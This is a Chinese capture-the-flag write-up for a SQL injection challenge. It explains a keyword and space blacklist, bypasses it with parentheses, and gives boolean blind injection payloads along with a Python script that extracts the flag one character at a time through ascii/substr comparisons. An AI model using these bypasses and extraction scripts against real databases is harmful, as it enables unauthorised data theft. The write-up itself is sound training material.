1.黑名单
进入查看有提示说flag在flag表的flag列,应该是个sql注入题,不出意外的话应该扳掉了常规注入的一些字符。
经过尝试发现,空格,union,and,or等字符被扳了。经过尝试,发现可以使用(),绕过空格限制。
2.盲注
这里只有Hello, glzjin wants a girlfriend.,Error Occured When Fetch Result.,bool(false)三种回显,如果没有输入黑名单字符的话。那么这里我们只能尝试使用盲注了,这里有error错误提示所以我们可以使用bool盲注。而且这里提示了flag的位置所以我们构建payload:
id=if(length((select(flag)from(flag)))=$len,1,0)
来猜测flag的长度
经过我的手工。。。。。发现长度为42。由于这里是数字所以没写脚本跑,懒。。。。。
接下来就是一个个字母的爆了,通过ascii()来猜测。payload:
id=if((ascii(substr((select(flag)from(flag)),$1$,1)))=$ace,1,0)
脚本
import time
import requests
url='http://b5848d32-1648-48ac-a5b6-a45d4cb29081.node4.buuoj.cn:81//index.php'
acc=['-','{','}']
for i in range(10):acc.append(str(i))
for i in range(65,123):acc.append(chr(i))
#print(acc)
flag=''
for i in range(1,43):
for j in range(len(acc)):
payload = 'if((ascii(substr((select(flag)from(flag)),'+str(i)+',1)))=ascii(\''+acc[j]+'\'),1,0)'
time.sleep(0.05)
res=requests.post(url=url,data={'id':payload})
if 'Hello, glzjin wants a girlfriend.' in res.text:
print(i)
flag+=acc[j]
print(flag)
break
else:
print(i)
flag+='-'
print(flag)
这里不知道为什么跑ascii码匹配不到’-‘字符。。。。。。还好pythonfor也可以else,没有break就说明这个字符是’-‘之间加上就好。
成功得到flag。